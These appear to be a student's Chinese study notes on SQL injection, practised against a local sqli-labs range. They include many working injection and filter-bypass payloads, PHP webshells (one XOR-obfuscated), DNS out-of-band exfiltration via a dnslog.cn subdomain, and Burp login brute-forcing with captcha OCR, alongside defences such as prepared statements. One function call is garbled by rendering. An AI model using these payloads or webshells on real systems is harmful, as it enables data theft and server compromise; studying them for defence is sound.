3.2网安学习第三阶段第二周回顾(个人学习记录使用)

news2025/1/14 2:13:21

本周重点

①SQL语句的基本用法

②SQL注入的基本概念和原理

③SQL注入类型(**重点)

④SQL注入的防御和绕过手段

本周主要内容–SQL

一、SQL语句的基本用法

limit用法:显示查询结果中从第n条开始显示m条记录

select * from tb_user limit 1,2

union用法:合并两个结果集,列数必须相同才能合并

select * from tb_user where id=1 union select * from tb_user where id=1;

order by用法:根据列来把结果集排序

select * from tb_user where order by 1 asc; -- 根据第一列升序排
select * from tb_user  order by username desc ;-- 根据username降序排

database()函数:数据库名称

version()函数:数据库版本

user():当前登录用户

select database(),user(),version()

group_concat()函数:把多个结果行合并到一个字段里

select group_concat(username) from tb_user;

concat_ws()函数:把多个列的值合并在一起,并且用指定的分隔符分开

select concat_ws (',',username,passwd,avatar) from tb_user where id =1;

concat()函数:拼接多个字符串

select concat('a','b','c')

sql语句如何注释:(/**/,–,#)

select/*被注释内容*/CONCAT_WS(',',username,passwd,role) from tb_user where id=1;
select CONCAT_WS(',',username,passwd,role) from tb_user -- where id=1;
select CONCAT_WS(',',username,passwd,role) from tb_user # where id=1;

information_schema数据库:保存了mysql数据库中的所有信息(元数据)

select table_name from information_schema.tables where table_schema=database(); 

select * from information_schema.COLUMNS where table_schema=database() and table_name='tb_user';

二、SQL注入的概念

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息甚至获取系统的shell权限。

三、注入原理

最核心的就是用户的输入参与到了SQL语句的执行过程,并且经过精心构造一个输入,可以改写原来的sql语句的执行。导致漏洞产生。

四、SQL注入危害

1、拖库(数据被盗取)

2、getshell:获取系统权限

五、SQL注入类型(利用sqlilabs靶场)

1.数字型注入

  • 主要使用场景: 用于数字型参数的注入,如 ID、数字型的查询条件等。

  • 主要应用函数: UNION SELECT, ORDER BY, GROUP_CONCAT 等。

  • **实战应用:**sqlilabs靶场1-4关

    http://127.0.0.1/sqlilabs/Less-1/?id=1' union SELECT 1, DATABASE(), VERSION() limit 1,1 -- -
    

在这里插入图片描述

2.字符型注入

  • 主要使用场景: 用于字符型参数的注入,如用户名、密码等。配合报错注入。![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/88c51cd2a2e54b72a2de295e6b30aa63.png#pic_center

  • 主要应用函数: 'OR '1'='1, extractvalue(1,concat(0x7e,database(),0x7e)), updatexml(1,concat(0x7e,database(),0x7e),1)等。

  • **实战应用:**sqlilabs靶场第11-14关

    uname=1' or 1=1 or extractvalue(1,concat(0x7e,database(),0x7e))#&passwd=123
    

在这里插入图片描述

3.布尔型盲注

  • 主要使用场景: 当系统没有明显错误回显,但存在布尔类型的逻辑判断时,常用于盲注攻击。

  • 主要应用函数: substr(database(),2,1)=‘e’,length(database())=8 等。

  • **实战应用:**sqlilabs靶场第8关

    http://127.0.0.1/sqlilabs/Less-8/?id=-1' or substr(database(),2,1)='e' -- -
    

在这里插入图片描述

4.时间盲注

  • 主要使用场景: 在布尔型盲注无法使用时,利用时间函数进行延时判断,判断条件的真假。

  • 主要应用函数: SLEEP(), if() 等。

  • **实战应用:**sqlilabs靶场第9-10关 15-16关

    http://127.0.0.1/sqlilabs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) -- -
    

在这里插入图片描述

5.更新注入

  • 主要使用场景: 利用 UPDATE 或 INSERT 语句时的漏洞进行注入。
  • 主要应用函数: UPDATE, INSERT, DELETE 等。
  • **实战应用:**登录页面的url后面带着参数,代表跳转的渠道,当登录页面显示出来的时候,就把参数和值,添加到数据库的表中。
<?php
include 'dbinfo.php';
$source = $_GET['source'];
$sql = "insert into test (content) values ('$source')";
$result = mysqli_query($conn,$sql);
mysqli_close($conn);
?>
source=baidu' or extractvalue(1,concat(1,database()))  or '

在这里插入图片描述

6.堆叠注入

  • 主要使用场景: 利用多条 SQL 语句执行时的漏洞进行注入。

  • 主要应用函数: mysqli_multi_query( c o n n , conn, conn,sql)等。

  • **实战应用:**sqlilabs靶场第38-45关

    http://127.0.0.1/sqlilabs//less-38/?id=1';insert into users(id,username,password)values(20,'yao','123')--+
    

    !在这里插入图片描述

    login_user=admin&login_password=1';update users set password='222' where id>19 -- +
    

    在这里插入图片描述

7.二次注入

  • 主要使用场景: 利用一次注入的结果作为二次注入的输入。注册有addslashes函数, 更新密码时没有。

  • **主要应用函数:**addslashes函数。

  • **实战应用:**sqlilabs靶场第24关

    注册用户名:admin' or 1=1    
    //可以做到密码全改
    update test set passwd='admin' or 1=1#     
    //实际执行了这种语句
    

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

8.宽字节注入

  • 主要使用场景: 在使用双字节字符集的系统中,利用宽字节进行编码的注入。使用了addslashes防御。
  • 主要应用函数: GBK编码, addslashes函数。(url 转义符 \ =%5c) (%df%5C > GBK编译成汉字)
  • **实战应用:**sqlilabs靶场第32-37关
http://127.0.0.1/sqlilabs//less-32/?id=-1%df' union select 1,version(),database() --+

在这里插入图片描述

uname=-1ß' union select version(),database()#&passwd=123

在这里插入图片描述

9.解码注入/过滤

  • 主要使用场景: 当目标系统对输入进行了编码或过滤时,尝试绕过这些防护进行注入。

  • 主要应用函数: 依赖于具体的过滤和解码方式。

  • **实战应用:**sqlilabs靶场第25-28关,包括25a-28a关卡 23关卡过滤注释符

    or > oorr(双写) = ||(符号)
    and> anandd =&&
    %23># // %26>& // %7c>| // %27>' // %25>% //
    %2527 > %27 > '// 0x7e > ~// %20 > 空格
    实战空格可以用%0a、%0b、%0c、%0d、%09、%a0
    防连写union%0aall%0aselect
    双写uniunionon//SElselectect
    
    http://127.0.0.1/sqlilabs/Less-28/?id=')union%0aall%0aselect%0a1,database(),3%0aor ('1
    

    在这里插入图片描述

10.HTTP头注入

  • 主要使用场景: 利用 Web 应用程序接收的 HTTP 头部信息进行注入攻击。
  • 主要应用工具: 使用Burpsuite软件。
  • **实战应用:**sqlilabs靶场第18-22关
//HTTP协议请求头
Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中。
Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
X-Real-IP一般只记录真实发出请求的客户端IP。
Accept Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
Accept代表客户端希望接受的数据类型,数据类型中的先后次序表示客户端接受的先后次序。
burp>referer>1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and 1='1

在这里插入图片描述

11.DNS外带

  • 主要使用场景: 将恶意数据通过 DNS 请求传输到恶意服务器,然后由恶意服务器处理这些数据。

  • 主要应用工具: 这个注入需要在windows服务器来做;确保mysql的参数secure_file_priv=没有赋任何值;

  • **实战应用:**http://dnslog.cn/申请临时域名

    打开浏览器,访问刚刚申请的临时域名

    image-20240307154002241

    回到刚才的dnslog的主页,点击Refresh Record会看到域名解析的log信息

    image-20240307154044497

    打开navicat,执行这个sql

    select LOAD_FILE(concat('//',database(),'.9rtckr.dnslog.cn/1.txt'))
    

    然后回到dnslog主页,点击Refresh Recode刷新解析日志

    image-20240307154959439

    原理:当访问这种文件路径的时候: //xyz.9rtckr.dnslog.cn/1.txt

    windows服务器会当做网络请求,发给DNS服务器解析。然后我们从DNS解析日志中看到数据库名

    这个有一定的限制,域名不能太长,也不能有什么特殊符号

12.代码注入

  • 主要使用场景: 在 Web 应用程序中注入恶意代码,通常是 PHP 代码,以执行攻击者的命令。(一句话木马)

  • 主要应用函数: eval(), assert(), system()等。可以用蚁剑,中国菜刀等工具注入

  • **实战应用:**sqlilabs靶场第7关

    //写入木马
    http://127.0.0.1/sqlilabs/Less-7/?id=7')) union select 1,2,'<?php eval($_REQUEST[c]);?>' into outfile 'D://xampp5/htdocs/sqlilabs/Less-7/shell.php' --+
    //第二步执行
    http://127.0.0.1/sqlilabs/Less-7/shell.php?c=phpinfo();
    //也可以执行服务器命令
    /shell.php?c=system(命令);
    

    在这里插入图片描述
    在这里插入图片描述

13.命令注入

  • 主要使用场景: 将恶意命令注入到系统中,以执行攻击者的命令。
  • 主要应用函数: system(), exec(), `passthru() 等。
1) 
system()//这个命令本身就有输出结果
//system($_POST['a']);

2) 
exec()//这个命令本身不输出结果,如果需要查看结果,使用echo exec()
//echo exec($_POST['a']);
<?
$last = exec($_GET['a'],$output,$res);
print_r($output);
?>
请求参数:
http://192.168.92.128/hz02/posts/test1.php?a=ls


3)
passthru()
passthrou("ls")//直接把当前目录中的内容输出给浏览器

六:防御手段

1.把特殊字符转义

1、使用addslashes函数转义 单引号、双引号、反斜线,NUL
$username="zhang'san"
$username = addslashes($username);
echo $username;//输出:zhang\'san
2、使用mysqli_real_escape_string
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);
$username = $_GET['u'];
echo $username;
echo "<br>";
$username = mysqli_real_escape_string($conn,$username);
输入的username="zhang'san",经过转换后,变成"zhang\'san"

2.数字类型,强行转换成整数

$id = $_GET['id'];
//3 and 1=0 -- -
$id = (int)$id;//强转为数字类型
//强转int后只有3,也就是说强制类型转换后,只留下前面数字的部分,后面的字符串都被丢弃
-===============================
后端程序片段:
<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);
$id = $_GET['id'];

******
//3 and 1=0 -- -
$id = (int)$id;//强转为数字类型
//强转int后只有3,也就是说强制类型转换后,只留下前面数字的部分,后面的字符串都被丢弃
******

echo $id;
echo "<br>";
//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");

$sql = "select * from tb_user where id=$id";
echo $sql;
echo "<br>";
$result = mysqli_query($conn,$sql);
echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){   
    echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";
    // echo $row["id"]."---".$row['username']."---".$row['passwd'];
    // echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>

3.限制用户输入的字符串的长度

$username = $_GET['username'];
$passwd = $_GET['passwd'];
//限制用户输入的字符串长度最长12,只是把前面的12个字符留下
$username=substr($username,0,12);
===========================================
//后端程序代码片段
<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);
$username = $_GET['username'];
$passwd = $_GET['passwd'];

******
//限制用户输入的字符串长度最长12
$username=substr($username,0,12);
******

echo "$username";
echo "<br>";
//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");

$sql = "select id,username,passwd from tb_user where username='$username' and passwd='$passwd'";
echo $sql;
echo "<br>";
$result = mysqli_query($conn,$sql);
echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){   
    echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";
    // echo $row["id"]."---".$row['username']."---".$row['passwd'];
    // echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>

4.把关键字符串替换掉

服务端程序:
<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);
$username = $_GET['username'];
$passwd = $_GET['passwd'];

******
//把语句中的特殊字符串替换掉(这个替换是有缺陷的,可以用大小写方式被饶过)
//select,union,order,tables,columns,database,limit 
$username = str_replace("select","",$username);
$username = str_replace("union","",$username);
$username = str_replace("order","",$username);
$username = str_replace("tables","",$username);
$username = str_replace("columns","",$username);
$username = str_replace("database","",$username);
$username = str_replace("limit","",$username);
******

echo "$username";
echo "<br>";
//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");
$sql = "select id,username,passwd from tb_user where username='$username' and passwd='$passwd'";
echo $sql;
echo "<br>";
$result = mysqli_query($conn,$sql);
echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){   
    echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";
    // echo $row["id"]."---".$row['username']."---".$row['passwd'];
    // echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>
====================================================================
上面这种可以用大小写方式绕过:
请求url写成如下形式:Union Select Database(),改成有大写字母的形式
localhost/hz02/posts/test.php?username=zhangsan' Union Select Database(),1,2 -- - &passwd=222
要想避免大小写绕过,需要在替换的时候使用忽略大小写的替换函数
$username = str_ireplace("select","-",$username);
$username = str_ireplace("union","",$username);
$username = str_ireplace("order","",$username);
$username = str_ireplace("tables","",$username);
$username = str_ireplace("columns","",$username);
$username = str_ireplace("database","",$username);
$username = str_ireplace("limit","",$username);
================================================================
上面这种忽略大小写替换的方式,还是不够完善,可以采用双写绕过
提交的url如下:
localhost/hz02/posts/test.php?username=zhangsan' uniunionon selselectect datdatabaseabase(),1,2 -- - &passwd=222
要想防止双写绕过
$username = str_ireplace("select","-",$username);
$username = str_ireplace("union","-",$username);
$username = str_ireplace("order","-",$username);
$username = str_ireplace("tables","-",$username);
$username = str_ireplace("columns","-",$username);
$username = str_ireplace("database","-",$username);
$username = str_ireplace("limit","-",$username);

5.终极防御方案:使用sql预编译的写法 (基本无解无法注入)

<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);

$username = $_GET['username'];
$passwd = $_GET['passwd'];
echo "$username";
echo "<br>";
//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");

******
$sql = "select id,username,passwd from tb_user where username=? and passwd=?";
//打印语句可以发现还是问号
echo $sql;
echo "<br>";
//预编译sql语句
$pstmt = mysqli_prepare($conn,$sql);
//绑定入参
//第一个参数是数据库的statement类型,
//第二个参数是sql语句中?代表的类型s-字符串,i-数字类型
//第三个参数就是要传入sql语句中替换?的真正的值,是一个参数列表,按照sql中?的顺序写
mysqli_stmt_bind_param($pstmt,"ss",$username,$passwd);
//执行sql,获取flag,true或者false
$flag = mysqli_stmt_execute($pstmt);
//判断布尔值
if($flag){
    //获取记录
    $result = mysqli_stmt_get_result($pstmt);
}
******


echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){   
    echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";
    // echo $row["id"]."---".$row['username']."---".$row['passwd'];
    // echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>

七:绕过手段

1.十六进制绕过:

把tb_user转成16进制:74625F75736572
select hex('tb_user')
使用的时候需要在前面加上0x所以sql语句就是
select group_concat(column_name) from information_schema.columns where 
table_schema=database() and table_name=0x74625F75736572;

服务端程序片段:
<?php
//连接数据库
$conn = mysqli_connect("127.0.0.1","root","1234","posts",3306);

$tablename = $_GET['u'];

echo $tablename ;
echo "<br>";

$tablename  = addslashes($tablename );
echo $tablename ;
echo "<br>";

//如果查询结果出现乱码,需要设置一下编码格式
mysqli_set_charset($conn,"utf8");

$sql = "select 1 as id,group_concat(column_name) as username,'2' as passwd from information_schema.columns where table_schema=database() and table_name=($tablename)";

echo $sql;
echo "<br>";

$result = mysqli_query($conn,$sql);

echo "<table border=1>";
echo "<tr><td>ID</td><td>用户名</td><td>密码</td></tr>";
//从查询结果中获取一行数据
while($row = mysqli_fetch_assoc($result)){   
    echo "<tr><td>".$row["id"]."</td><td>".$row['username']."</td><td>".$row['passwd']."</td></tr>";
    // echo $row["id"]."---".$row['username']."---".$row['passwd'];
    // echo "<br>";
}
echo "</table>";
//关闭数据库连接
mysqli_close($conn);
?>

2.编码绕过:

如果针对一些php的敏感字过滤,例如:php、eval,assert等,导致无法写入一句话木马,那么可以考虑把原始的木马代码进行编码绕过

原始payload:
u=a' union SElect 1,2,3,4,5,6,7,8,'<?php eval($_POST[a]);?>' into outfile  '/opt/lampp/htdocs/mm/m1.php' -- -

使用 select hex('<?php eval($_POST[a]);?>')编码后的payload
u=a' union  
  SElect 1,2,3,4,5,6,7,8,0x3C3F706870206576616C28245F504F53545B615D293B3F3E into outfile  '/opt/lampp/htdocs/hz02/posts/upload/m1.php';

3.注释绕过

有的情况下程序员会把输入的字符串中的空格给替换掉,这种情况可以用注释来绕过

注入url:中间的%23#,因为#在url中是有特殊含义的。所以,要编码成%23才能传给后端程序使用
localhost/hz02/posts/test.php?u=zhangsan'/*a*/or/*a*/1=1/*a*/%23&p=222

最后在服务端拼接的sql语句是:/**/放在sql语句中间是不会影响sql语句执行的
select * from tb_user where username='zhangsan'/*a*/or/*a*/1=1/*a*/#' and passwd='222' ;
=================================================
服务端程序
<?php
$u=$_GET['u'];
$p=$_GET['p'];

echo $u;
echo "<br>";
$u = str_replace(" ","",$u);
$sql = "select * from tb_user where username='$u' and passwd='$p'";
echo $sql;
?>

4.木马变形

//一句话木马、小马
<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
_GET
0000 1010
0100 1011
------------按位与运算-(两个都是1结果是1,否则是0)---
0000 1010
===============================
0000 1010
0100 1011
------------按位或运算-(只要有一个是1,结果就是1)---
0100 1011
===============================
0000 1010
0100 1011
------------按位异或运算-(相同为0,不同为1)---
0100 0001

解析:
(":"^"}")  这是个二进制异或, ":"ascii码值=>58=>进制:00111010
"}"ascii码值:125 =》二进制:01111101
两个二进制异或 = 00111010 ^ 01111101 = 01000111
01000111二进制代表的十进制是71, 71代表的ascii是大写字母G
最终解析出来:$_GET[0]($_POST[1]);

一句话木马:

https://baijiahao.baidu.com/s?id=1695910053618223684&wfr=spider&for=pc

大马:

https://blog.csdn.net/qq_53079406/article/details/125084768

附件1:安装sqlilabs靶场

把靶场的压缩文件放在htdocs目录下,解压缩后,把目录名称修改为sqlilabs

image-20240304185619394

目录中文件应该类似

image-20240304185939628

进入到sqlilabs\sql-connections目录中,看到db-creds.inc

image-20240304185956328

打开db-creds.inc文件,改好之后,保存

image-20240304190133291

image-20240304190411833

访问http://localhost/sqlilabs/

看到下面的页面

image-20240304190456919

初始化数据库

image-20240304190544677

附件2:安装蚁剑

image-20240305101112277

img

点击初始化按钮

image-20240305101222904

初始化成功后重新打开蚁剑,会看到如下样子,多了几个菜单

image-20240305101328454

确保一句话木马先上传到网站,然后

image-20240305101456536

输入完毕后,点击添加按钮

image-20240305101805370

数据被添加成功

image-20240305101834361

image-20240305102129969

连接数据库

image-20240305102520876

image-20240305102755569

image-20240305102859281

附件3:Burpsuite暴力破解

一、burp功能介绍

Burp Suite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,使我们自动化地或手工地能更好的完成对

web应用的渗透测试和攻击

二、burp暴力破解登录密码

image-20240305200945012

image-20240305201049913

登录请求

image-20240305201259964

​ 拦截请求,并发到Intruder

image-20240305201448254

image-20240305201611285

image-20240305201732801

image-20240305202402768

image-20240305202045417

image-20240305202515419

三、burp插件识别图形验证码

image-20240305202656769

image-20240305202741074

image-20240305202840993

再次访问登录页面,用burp拦截住获取验证码的请求

image-20240305202955203

image-20240305203123732

image-20240305203926678

image-20240305204122089

注册一个百度智能云的账户,搜索“文字识别”,并且选择通用场景OCR,点击:领取免费资源

image-20240305204426447

选择通用文字识别(标准版)

image-20240305204533007

回到上一个页面,去创建一个项目

image-20240305204637843

输入应用名称。

选择通用文字识别(标准版)这个接口。

应用归属:选择个人。

输入应用描述。

点击创建按钮

image-20240305204906391

创建能看到一个新的应用,注意记住AppID,APIKey,Secret Key

image-20240305205127437

获取access token

http://aip.baidubce.com/oauth/2.0/token
使用post方式发请求,参数为
grant_type: 必须参数,固定为client_credentials
client_id: 必须参数,应用的API Key
client_secret: 必须参数,应用的Secret Key
在返回的json数据中,提取到access_token,并保存好

把接口地址替换成:/rest/2.0/ocr/v1/general_basic

并且把access_token也替换成上面从百度获取到的access_token的值

image-20240305210244869

鼠标选中识别结果,并右键,可以看到菜单

image-20240305210339081

选择标记为识别结果,上面的正则表达式会自动匹配这个结果

image-20240305210431056

此时再次点击识别按钮,会看到识别结果会标记在右侧的单独一栏中

image-20240305210507107

四、burp破解密码和图形验证码

接着上面的第三步,

打开登录页面,输入用户名,密码,验证码,点登录按钮,使用burp拦截住登录请求,send to intruder

image-20240305211008782

在Intruder标签中,把password和code标记为变量,Attack type选择Pitchfork

image-20240305211100984

在payload中,为密码设置字典

image-20240305211226293

为图形验证码选择从插件生成,设置完毕,点击右上角的 start attack按钮

image-20240305211309048

可以看到攻击结果中有一条是成功的

image-20240305211408166

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1519521.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

构建部署_Docker常用命令

构建部署_Docker常见命令 启动命令镜像命令容器命令 启动命令 启动docker&#xff1a;systemctl start docker 停止docker&#xff1a;systemctl stop docker 重启docker&#xff1a;systemctl restart docker 查看docker状态&#xff1a;systemctl status docker 开机启动&…

【Shiro反序列化漏洞】Shiro-550反序列化漏洞复现

&#x1f36c; 博主介绍&#x1f468;‍&#x1f393; 博主介绍&#xff1a;大家好&#xff0c;我是 hacker-routing &#xff0c;很高兴认识大家~ ✨主攻领域&#xff1a;【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】 &#x1f389;点赞➕评论➕收…

腾讯云4核8G服务器性能怎么样?搭建网站够用吗?

腾讯云轻量4核8G12M服务器配置446元一年&#xff0c;646元12个月&#xff0c;腾讯云轻量应用服务器具有100%CPU性能&#xff0c;系统盘为180GB SSD盘&#xff0c;12M带宽下载速度1536KB/秒&#xff0c;月流量2000GB&#xff0c;折合每天66.6GB流量&#xff0c;超出月流量包的流…

【Datawhale组队学习:Sora原理与技术实战】训练一个 sora 模型的准备工作,video caption 和算力评估

训练 Sora 模型 在 Sora 的技术报告中&#xff0c;Sora 使用视频压缩网络将各种大小的视频压缩为潜在空间中的时空 patches sequence&#xff0c;然后使用 Diffusion Transformer 进行去噪&#xff0c;最后解码生成视频。 Open-Sora 在下图中总结了 Sora 可能使用的训练流程。…

快手发布革命性视频运动控制技术 DragAnything,拖动锚点精准控制视频物体和镜头运动

快手联合浙江大学、新加坡国立大学发布了DragAnything &#xff0c;利用实体表示实现对任何物体的运动控制。该技术可以精确控制物体的运动&#xff0c;包括前景、背景和相机等不同元素。 该项目提供了对实体级别运动控制的新见解&#xff0c;通过实体表示揭示了像素级运动和实…

layuiAdmin-通用型后台模板框架【广泛用于各类管理平台】

1. 主页 1.1 控制台 2. 组件 3. 页面 3.1 个人主页 3.2 通讯录 3.3 客户列表 3.4 商品列表 3.5 留言板 3.6 搜索结果 3.7 注册 3.8 登入 3.9 忘记密码 4. 应用 4.1 内容系统 4.1.1 文章列表 4.1.2 分类管理 4.1.3 评论管理 4.2 社区系统 4.2.1 帖子列表 4.2.2 回…

数据结构---C语言栈队列

知识点&#xff1a; 栈&#xff1a; 只允许在一端进行插入或删除操作的线性表&#xff0c;先进后出LIFO 类似一摞书&#xff0c;按顺序拿&#xff0c;先放的书只能最后拿&#xff1b; 顺序栈&#xff1a;栈的顺序存储 typedef struct{Elemtype data[50];int top; }SqStack; SqS…

724.寻找数组的中心下标

题目&#xff1a;给你一个整数数组 nums &#xff0c;请计算数组的 中心下标 。 数组 中心下标 是数组的一个下标&#xff0c;其左侧所有元素相加的和等于右侧所有元素相加的和。 如果中心下标位于数组最左端&#xff0c;那么左侧数之和视为 0 &#xff0c;因为在下标的左侧不…

力扣爆刷第96天之hot100五连刷66-70

力扣爆刷第96天之hot100五连刷66-70 文章目录 力扣爆刷第96天之hot100五连刷66-70一、33. 搜索旋转排序数组二、153. 寻找旋转排序数组中的最小值三、4. 寻找两个正序数组的中位数四、20. 有效的括号五、155. 最小栈 一、33. 搜索旋转排序数组 题目链接&#xff1a;https://le…

回归预测 | Matlab实现SO-BP蛇算法优化BP神经网络多变量回归预测

回归预测 | Matlab实现SO-BP蛇算法优化BP神经网络多变量回归预测 目录 回归预测 | Matlab实现SO-BP蛇算法优化BP神经网络多变量回归预测预测效果基本描述程序设计参考资料 预测效果 基本描述 1.Matlab实现SO-BP蛇算法优化BP神经网络多变量回归预测&#xff08;完整源码和数据) …

MyBatis学习笔记|2024最新版Mybatis

Mybatis简介 MyBatis历史 MyBatis最初是Apache的一个开源项目iBatis, 2010年6月这个项目由Apache Software Foundation迁移到了Google Code。随着开发团队转投Google Code旗下,iBatis3.x正式更名为MyBatis。代码于2013年11月迁移到GithubiBatis一词来源于“internet”和“aba…

2024年【天津市安全员C证】考试内容及天津市安全员C证考试报名

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 天津市安全员C证考试内容是安全生产模拟考试一点通生成的&#xff0c;天津市安全员C证证模拟考试题库是根据天津市安全员C证最新版教材汇编出天津市安全员C证仿真模拟考试。2024年【天津市安全员C证】考试内容及天津市…

C++提高笔记(四)---STL容器(stack、queue、list)

1、stack容器&#xff08;栈&#xff09; 1.1 栈stack基本概念 概念&#xff1a;stack是一种先进后出&#xff08;First In Last Out&#xff0c;FILO&#xff09;的数据结构&#xff0c;它只有一个出口 栈中只有顶端的元素才可以被外界调用&#xff0c;因此栈不允许有遍历行…

YOLOv7改进 | 更换主干网络之PP-LCNet

前言:Hello大家好,我是小哥谈。PP-LCNet是一个由百度团队针对Intel-CPU端加速而设计的轻量高性能网络。它是一种基于MKLDNN加速策略的轻量级卷积神经网络,适用于多任务,并具有提高模型准确率的方法。与之前预测速度相近的模型相比,PP-LCNet具有更高的准确性。此外,对于计…

mac启动elasticsearch

1.首先下载软件&#xff0c;然后双击解压&#xff0c;我用的是7.17.3的版本 2.然后执行如下命令 Last login: Thu Mar 14 23:14:44 on ttys001 diannao1xiejiandeMacBook-Air ~ % cd /Users/xiejian/local/software/elasticsearch/elasticsearch-7.17.3 diannao1xiejiandeMac…

Iframe 嵌入: 页面嵌入并保持自适应页面的宽高并铺满整个屏幕

文章目录 问题分析1. 嵌入 Iframe2. 样式3. 源码 问题 当我们使用 Iframe 嵌入页面后&#xff0c;会看到它只在小小的一部分进行展示&#xff0c;如何让它铺满整个屏幕 分析 1. 嵌入 Iframe <template><div><iframe :src"embeddedPageUrl" width…

编译原理学习之-一个简单的语法制导翻译器

第二章 一个简单的语法制导翻译器 将具有代表性的程序设计语言语句翻译为三地址码&#xff08;一种中间表示形式&#xff09;&#xff0c;本章的重点是编译器的前端&#xff0c;特别是词法分析&#xff0c;语法分析和中间代码生产。 建立一个中缀算术表达式转换为后缀表达式的…

vivado Placement、时钟和I/O放置、全局布局、详细布局和布局后优化

安置 Vivado Design Suite放置程序将网表中的单元放置到目标AMD中的特定站点上装置与其他实现命令一样&#xff0c;Vivado放置程序工作于并更新&#xff0c;内存中的设计。 设计布局优化 Vivado砂矿器同时优化了以下方面的设计布局&#xff1a; •定时松弛&#xff1a;选择…

1本“On Hold”期刊被剔除!3月Scopus期刊目录已更新!

【SciencePub学术】 2024年3月&#xff0c;Scopus数据库迎来本年度第三次更新&#xff01;此次更新后&#xff0c;有86本期刊发生变动&#xff1a; • 剔除&#xff1a;有5本期刊不再被Scopus数据库收录&#xff08;Discontinued titles Feb. 2024&#xff09;&#xff1b; •…

OJ_点菜问题(背包问题)

题干 C实现 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<vector> using namespace std;int main() {int c, n;scanf("%d%d", &c, &n);int p[101];int v[101];for (int i 0; i < n; i){scanf("%d%d", &p[i],…